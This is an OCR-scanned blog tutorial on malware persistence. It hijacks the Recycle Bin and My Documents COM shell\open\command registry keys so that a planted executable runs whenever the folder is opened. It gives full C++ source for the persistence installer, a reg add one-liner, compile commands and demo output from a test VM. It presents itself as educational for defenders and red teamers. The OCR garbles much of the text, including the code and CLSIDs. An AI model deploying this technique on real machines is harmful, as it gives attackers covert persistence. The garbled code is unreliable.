Malware development: persistence - part 21. Recycle Bin,
My Documents COM extension handler. Simple C++
example.
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Hello, cybersecurity enthusiasts and white hackers!

<windows.h>
<st ring _h> a win10-malw (fresh-90day+windbg) [Running] - Oracle VM VirtualBox
<stdio.h> Machine View Input Devices Help
int main(int argc, char*-argv[]) {
HKEY hkey = NULL;
HKEY -hkR = NULL;

const char* shell = "SOFTWARE\\Classes

ES
const char* -exe = "C:\\Users\\IEUser\\De l:ls .

Firefox

LONG res = RegOpenKeyEx (HKEY LOCAL MACHI m l!
(res == ERROR SUCCESS) {
res = RegCreateKeyExA(hkey, "open\\con ™"
(res == ERROR_SUCCESS) {

HashCale

RegSetValueEx (hkR, ‘NULL, 0, REG SZ,
RegCloseKey (hkR) ;

}
RegCloseKey (hkey) ;
}

El O Type here to search 0 WS

NORMAL W=1g- e ]4)

This post is based on my own research into one of the more interesting malware persistence
tricks: via modifying Recycle Bin COM extension handling.

CLSID list

Certain special folders within the operating system are identified by unique strings:

{20d04fe0-3aea-1069-a2d8-08002b30309d} - My Computer
{450d8fba-ad25-11d0-98a8-0800361b1103} - My Documents
{208d2c60-3aea-1069-a2d7-08002b30309d} - My Network Places
{1f4de370-d627-11d1-basf-00a0c9ieedba’l - Network Computers
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e {2227a280-3aea-1069-a2de-08002b30309d} - Printers and Faxes
o {6457ff040-5081-101b-9f08-00aa002f954e} - Recycle Bin

Adding the open\command subkey to the CLSID and adding a new verb for the shell key will
execute the value stored in the \command entry.

practical example

Let’s go to look at a practical example. First of all, as usually, create “evil” application. For
simplicity, as usually, it's meow-meow messagebox application (hack.cpp):

/*

hack.cpp

evil app for windows persistence

author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/

#include <windows.h>

#pragma comment (lib, "user32.1ib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nCmdShow) {

MessageBox(NULL, "Meow-meow!", "=A.,.A="  MB_OK);

return 0;

}

And, then just create persistence script (pers.cpp):
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/*

pers.cpp

windows persistence via

recycle bin COM extension handler

author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/

#include <windows.h>

#include <string.h>

#include <stdio.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
HKEY hkR = NULL;

// shell
const char* shell = "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-
00AARO2F954E}\\shell";

// evil app
const char* exe = "C:\\Users\\IEUser\\Desktop\\research\\2023-01-20-malware-pers-
21\\hack.exe";

// key
LONG res = RegOpenKeyEX(HKEY_LOCAL_MACHINE, (LPCSTR)shell, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
res = RegCreateKeyExA(hkey, "open\\command", ©, NULL, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, NULL, &hkR, NULL);
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-
00AAOO2F954E}\shell\open\command”
// /ve /t REG_SZ /d "hack.exe" /f
// RegSetValueEx(hkey, (LPCSTR)"open\\command", O, REG_SZ, (unsigned char*)exe,
strlen(exe));
RegSetValueEx(hkR, NULL, ©, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkR);
// RegCloseKey(hkey);
}
RegCloseKey(hkey);

}

return 0;

As you can see, the logic is simple.

demo

Let’s go to see everything in action. First of all, check Registry:

reg query "HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell"
/s
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EN Windows PowerShell

ell\empty

ell\empty'\command

Then, compile our “malware” at the attacker’s machine (kali):

x86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

[~/hacking/cybersec_blog/2023-01-20-malware-pers-21
[¢ hack.cpp hack.exe

) - [~/hacking/cybersec_blog/2023-01-20-malware-pers-21]

- 1 cocomelonc cocomelonc 358 Jan 19 21:17 hack.cpp
1 cocomelonc cocomelonc 14848 Jan 19 23:15 hack.exe
- 1 cocomelonc cocomelonc 1215 Jan 19 23:08 pers.cpp

And for checking correctness, try to run hack.exe at the victim’s machine (windows 10 x64
in my case):

.\hack.exe

4/12



Meow-meaw!

As you can see, our “malware” works perfectly.

At the next step, just compile our persistence script at the attacker’s machine:

x86_64-w64-mingw32-g++ -02 pers.cpp -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

—( ) - [~/hacking/cybersec_blog/2023-01-20-malware-pers-21]
¢ x86 64-w64-mingw32-g++ pers.cpp pers.exe

) - [~/hacking/cybersec_blog/2023-01-20-malware-pers-21]

cocomelonc cocomelonc 358 Jan 19 21:17 hack.cpp
cocomelonc cocomelonc 14848 Jan 19 23:15 hack.exe
cocomelonc cocomelonc 1215 Jan 19 23:34 pers.cpp
-rwxr-xr-x 1 cocomelonc cocomelonc 15360 Jan 19 23:34 pers.exe

Finally, run this persistence script at the victim’s machine and check Registry again:

.\pers.exe
reg query "HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell"
/s
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Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Users\IEUser\Desktop\research\
C:\Users\IEUser\Desktop\research>
C:\Users\IEUser\Desktop\research>
C:\Users\IEUser\Desktop\research> cd .\2823-81-28-malware-pers-21\
C:\Users\IEUser\Desktop\research'\2823-61-28-malware-pers-21>
C:\Users\IEUser\Desktop\research%\2823-81-20-malware-pers-21> .\pers.exe

reg path successfully open

openhcommand subkey successfully created

successfully set value

& PS C:\Usersh\IEUser\Desktop\research2823-81-28-malware-pers-21> reg query
/s

HKEY_LOCAL_MACHINEYWSOFTWARE\Classes\CLSID\{645FF@4a-5881-1816-9F85-80AAPB2FI54E \shellempty
CommandStateHandler REG_SZ 1c9298eef-69dd-4cdd-b153-bdbc38486781}
Description REG_SZ @shell32.dll,-31332
Icon REG_SZ shell32.dll,-254

cal MUIVerb REG_SZ @shell32.dll,-18564
alt

HKEY_LOCAL_MACHINEASOFTWARE\Classes\CLSID\{645FF848-5881-1016-9F88-80AABB2FI54E Fhshell\empty\ command
DelegateExecute REG_SZ {48527bb3-e8de-458b-8918-8c4899cb8624}

HKEY_LOCAL_MACHINEWSOFTWARE\Classes\CLSID\{645FF@4a-5881-1816-9F08-80AABB2FI54EH\shell\open

HKEY_LOCAL_MACHINEAZSOFTWARE\Classes\CLSID\{645FF846-5881-101E-9FB58-80AABB2FIS4E } shell\open command
(Default) REG_SZ C:\Users\IEUser\Desktop\research2823-81-28-malware-pers-21\hack.exe

PS5 C:\Users\IEUser\Desktop\research\2623-61-28-malware-pers-21>
PS C:\Users\IEUser\Desktop\research\2823-61-28-malware-pers-21>

So, as you can see, subkey added and the key value is set.

Then, try to open Recycle Bin:

ﬂg win10-malw (fresh-90day+windbg) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
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- Shortcut & Evaluation
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Build 17763.rs3_release.180914-1434
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<windows.h>
<string.h>
<stdio.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
HKEY -hkR = NULL;

const char* shell = "SOFTWARE\\Classes\\CLSID

const-char* exe = "C:\\Users\\IEUser\\Desktop

LONG res = RegOpenKeyEx (HKEY_ LO
(res ERROR_SUCCESS) {
printf(“reg path successfully open\n");
LGS pers.cpp

_MACHINE, (LPC

win10-malw (fresh-90day+windbg) [Running] - Oracle VM VirtualBox

chine View Input Devices Help

Meow-meow!

If we open ProcessExplorer and see properties of hack . exe:

B Ok T #HE S @O Right Ctrl

7/12



&

File Options View

Proc Find Users Help

FEIEEEEIEEY Y [

| <Filter by name >

Process
[#=]svchost exe
o spoolsy exe
[#=]svchost exe
& by exe
[w=] ViGAuth Servig
(=[] vm3dservice.
[w=]vm3dservi
[m=] wims exe
[#=]svchost exe
[#=]svchost exe
= @Searchlndaxe
4= SearchPr
4= SearchFity
=1 [a5]svchost exe
[mE] Windows |
[#=] SecurityHealt
[#=]svchost exe
[#=] SgmBroker.g
[#=]svchost exe
[#=]svchost exe
[5=]lsass exe
[#=] fortdrvhost exe
[#=]csrss.exe
= [ winlogon.exe
[#=] fortdrvhost exe
[m=|dwm.exe
[=] = explorer.exe
$ SecurityHealth Sy
%4 VBoxTray exe
= [n=] hack exe |
B conhost exe
L procexpb4 exe
= @iusched.exe
| £:|iucheck exe
@, OneDrive exe

CPU Usage: 1.52% Cy

CPU  Private Bytes ~ Working Set
10,984 K 18784 K

5476 K 10,952 K

10684 K 21308K

GPU Graph  Threads TCPfIP  Security Environment Job Strings

Image Performance Performance Graph

Image File

if

Version:  nfa
Build Time: Thu Jan 19 12:15:45 2023
Path:

PID  Description Company Name

1664 Host Process for Windows 5... Microsoft Comporation
1752 Spooler SubSystem App Microsoft Corporation
1256 Host Process for Windows 5... Microsoft Comporation

e T p.. httpYwww rubydang .ong/

gtio... VMware, Inc.

mvice VMware, Inc.

rvice VMware, Inc.

fing... Microsoft Corporation
8 5... Microsoft Corporation
8 5... Microsoft Corporation
hl... Microsoft Corporation
h P... Microsoft Corporation
h F... Microsoft Corporation
& 5... Microsoft Corporation

Disk and Network

| C:\Users\IEUser\Desktopyresearch!2023-01-20-malware-pers| |Explore

Se... Microsoft Corporation
8 5... Microsoft Corporation

Command line:

pnit... Microsoft Corporation

"C:\Wsers\[EUser \Desktopresearch |\ 2023-01-20-malware -pers-Zl'n,had<|

8 5... Microsoft Corporation
8 5... Microsoft Corporation

Current directory:

roc... Microsoft Corporation

| C:\Users\IEUser\Desktop,

| st Microsoft Corporation

Autostart Location:

cesg— b £ i

| nfa

A A_
pn [=7.7= X

| Explore L

Parent: explorer.exe(1630)
User: MSEDGEWIN 10\IEUser
Started: 1:25:04PM  1/19/2023

Image: 64-bit

Verify i I Meow-meow!

Bring to Front

Comment: |

| Kill Process I

VirusTotal: | | Submit

Data Execution Prevention (DEP) Status: Enabled {permanent)
High-Entropy, Bottom-Up

Address Space Load Randomization:
Control Flow Guard: Disabled
Enterprise Context: MN/A
Stack Protection:

Oracle Corporation
Oracle Corporation
Microsoft Corporation

prer  Sysintemals - www sysinter...

we can notice that its parent process is explorer.exe (1680).

Perfect! =A. A=

what about another CLSID from the list?

I made a small change to the persistence script:
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/*

pers.cpp

windows persistence via

recycle bin COM extension handler

author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/

#include <windows.h>

#include <string.h>

#include <stdio.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;
HKEY hkR = NULL;

// shell
const char* shell = "SOFTWARE\\Classes\\CLSID\\{450d8fba-ad25-11d0-98a8-
0800361bh1103}F\\shell"

// evil app
const char* exe = "C:\\Users\\IEUser\\Desktop\\research\\2023-01-20-malware-pers-
21\\hack.exe";

// key
LONG res = RegOpenKeyEX(HKEY_LOCAL_MACHINE, (LPCSTR)shell, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
res = RegCreateKeyExA(hkey, "open\\command", ©, NULL, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, NULL, &hkR, NULL);
if (res == ERROR_SUCCESS) {
// update registry key value

// reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450d8fba-ad25-11d0-98a8-

0800361b1103}\shell\open\command”
// /ve /t REG_SZ /d "hack.exe" /f

// RegSetValueEx(hkey, (LPCSTR)"open\\command", O, REG_SZ, (unsigned char*)exe,

strlen(exe));
RegSetValueEx(hkR, NULL, ©, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkR);
// RegCloseKey(hkey);
}
RegCloseKey(hkey);

}

return 0;

Compile and run at the victim’s machine:

.\pers.exe
reg query "HKLM\SOFTWARE\Classes\CLSID\{450d8fba-ad25-11d0-98a8-0800361b1103}\shell"
/s
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win10-malw (fresh-20day+windbg) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

hell\find

hellyfindycommand

hellhcmd

hellYcmd' command

hell\find

hell\findycommand

hellvopen

1/19/2023 D
£ %148 B Right Ctrl

But... Not working for me at Windows 10 as they use that stupid Start Menu, | can’t find My
Documents folder on the Desktop feature.

| also try to do this trick with another CLSID at the windows 7 x86 machine. It works for My
computer folder.
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Windows PowerShell
Copyright (C> 288% Microsoft Corporation. All rights reserved.

PE C:slUsersstest? cd Z:3\2023-81-28-malvare—pers—21
PS Z:\2823-A1-20—malware—pers—21> .“hack.exe

Administrator: Wind )
(Default> REG_SZ none

HKEY _LOCAL_MACHINENSOFTUARENClasses\CLSID~{28d84feB—3aea—-1069— a2d8—38332h33339d}\shell\flnd
(Default> REG_EXPAND_SZ BxSystemRootx systemd2 zhell32._d11.-85
LegacyDisahle REG_SZ
SuppressionPolicy REG_DUWORD Bx8a

HKEY _LOCAL_MACHIMENSOFTUARE~Classes\CLSIDN{28d84f eB—3aea—-1869-a2d8-B8B0A2h3A3AYd> ~she 11~f ind\command
(Default) REG_EXPAND_SZ #SystemBootx\Explorer.exe
DelegateExecute REG_SZ {af15411a—£f97d—4ef3-8425-8a3B8dA22aehc

HKEY _LOCAL_MACHINEANSOFTWARENClasses“\CLSID~\{28dA4feBf—3aeca-1069—a2d8—-A8AA2H3A3AT?d> “she 11\Manage
{Defaultd REG_EXPAND_SZ Bxzystemrootissystend2 mycomput .dll, 488
MUIVerh REG_ERPAND_SZ Bxsystemrootxssysten3d2 mycomput .dl1,.—-488
SuppressionPolicy REG_DUORD Bx4A0RAA3c
HasLUAShield REG_SZ

HKEY _LOCAL_MACHIMNENSOFTUARE~Classes\CLSIDN{28d84f eB—3aea—1069-a2d8-B8BA2h3A3AYd> ~shel1“Manage~command
(Default> REG_EXPAND_SZ »8ystemRootx\system32“CompMgntLauncher.exe

PE Z:\2823-01-28-—malware—pers—21> .“pers.exe
PS8 Z:%2823-81-20-malware pers—21> reg gquery "HELM\SOFTWARE~Classes“CLSID~{28d@4fef—Jaca 186%7—a2d8-A88A2bL3A3Ad>~shell" /|
=

HKEY _LOCAL_MACHINENSOFTUARE~Classes\CLSID{28d84f eB—3aea-1869-a2d8-B8AA2Hh3A3ATd>shell
{Default> REG_SZ none

HKEY _LOCAL_MACHINENSOFTUARENClasses\CLSID~{28d84feB—-3aea-1069— a2d8—38382h33339d}\shell\f1nd
(Default> REG_EXPAND_SZ BxSystemRootxNsystemd2ishell32.d11,.-858
LegacyDisahle REG_SZ
SuppressionPolicy REG_DUWORD Bx88

HKEY _LOCAL_MACHINENSOFTWARES~Classes~CLSID~{28d84feB-3aca—1869—-a2d8-B8A02h3B3A7d>~she
{(Default) REG_EXPAND_SZ »8ystemRootx\Explorer.exe
DelegateExecute REG_SZ {af15411a—f97d—4ef3-8425-8a38d0A22aehc?

HKEY_LOCRL_HRCHINE\SOFTHRRE\Classes\CLSID\{ZBdB4feB Jaea-1869—-a2d8—-A8AA2H3IAIATA> “she [l -meow!
(Default) REG_EXPAND_SZ Bxsystemrootsssysten3d2\mycomput . d —-488
MUIUePh REG_ERPAND_SZ Bxsystemrootxssysten32mycomput .dll1. —a00
SuppressionPolicy REG_DUWORD Bx410PAPA3C
HasLUAShield REG_SZ

HKEY _LOCAL_MACHINENSOFTUARENClasses\CLSID\{28d84feB—3aea—1069-a2d8-BBAA2Hh3A3ATd>she
(Defaultd> REG_EXPAND_SZ #SystemBootx\systemn3d 2~ CompMgmtLauncher.exe

HKEY_LOCAL_MACHINEASOFTWARENClasses“CLSID~\{28d@4feB—3aea-1069—a2d8—-A8AB2h3A3IA?d> she 11 open

HKEY_LOCRL_HRCHINE\SOFTHRRE\Classes\CLSID\{ZBdB4feB Jaea-1867-a2dB8-B8B82h3B36%d>~she l1~openscommand
(Default> REG_SZ Z:in2823-01-28—malware—pers—21-hack.exe

ow if any APT groups or malware family applies this trick.




| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

Malware persistence: part 1
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
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